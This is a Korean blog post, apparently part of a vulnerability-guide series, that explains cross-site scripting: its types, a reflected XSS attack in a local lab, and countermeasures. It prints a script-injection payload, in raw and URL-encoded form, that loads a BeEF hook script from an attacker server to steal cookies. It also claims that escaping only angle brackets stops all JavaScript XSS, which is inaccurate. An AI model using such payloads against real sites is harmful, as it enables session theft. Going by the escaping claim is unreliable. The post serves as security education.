취약점 개요(CWE-79)
Cross Side Script는 Reflective, Persistent, DOM based로 나뉜다.
공격자가 삽입한 스크립트 코드를 클라이언트 단에서 실행시키게 하여 쿠키 정보를 탈취하는 것에 그 목적을 둔다.
이런 의문을 가질 수 있다. 왜 쿠키 정보인가? 다른 정보를 얻을 수 있는 건 없나? 있다. 브라우저 Fingerprinting 수집 가능, Keylogging 등 가능하다. BeFF 툴에서 지원하는 XSS 용 JS를 보면 기능이 많이 있으나, 이는 참고만 하면 된다.
공격 방법
1. Persistent XSS

자바 스크립트 코드를 게시물에 삽입하였고, 이는 웹 서버에 저장된다. 그리고 이는 실행 가능하다.
2. Reflected XSS

폼 안의 입력 값은 다음과 같다:
"<script src="http://127.0.0.1:3000/hook.js"></script>"
이를 보내는 주소값은 다음과 같다:
"http://127.0.0.1:42001/vulnerabilities/xss_r/?name=%3Cscript+src%3D%22http%3A%2F%2F127.0.0.1%3A3000%2Fhook.js%22%3E%3C%2Fscript%3E#"
클라이언트가 해당 링크 클릭 시 공격자 웹서버의 hook.js 를 실행하게 된다. 이를 쿠키에 대입하면 해당 링크 클릭 시 해당 사이트의 쿠키 값을 전달할 수 있게 된다.
즉 Reflected XSS는 클라이언트가 링크를 클릭해야 하며, 악성 스크립트는 Get Parameter에 들어가게 된다.
Persistent XSS와 무슨 차이가 있나?
웹서버에 스크립트가 저장이 되냐 되지 않냐의 차이이다.
3. Dom based XSS


예상 피해
보안대책
1. < > 이스케이프 처리
2. WAF 도입
< > 만 이스케이프 처리해도 자바 스크립트를 이용한 XSS가 불가하다.
시큐어 코딩(파이썬)
안전하지 않은 코드
안전한 코드
취약한 함수 리스트
참고문헌
1. KISA 주요정보통신기반시설 기술적 취약점 분석 평가 방법 상세가이드
2. KISA Python_시큐어코딩_가이드(2023년_개정본)
'주요통신기반시설 취약점 가이드 > 주통기 웹' 카테고리의 다른 글
| 쿠키 변조(Cookie Tampering) (0) | 2025.03.19 |
|---|---|
| 파일 업로드(File Upload) (0) | 2025.03.18 |
| 경로 추적(Path Traversal) (0) | 2025.03.18 |
| 관리자 페이지 노출 (0) | 2025.02.20 |
| LDAP Injection (0) | 2025.02.19 |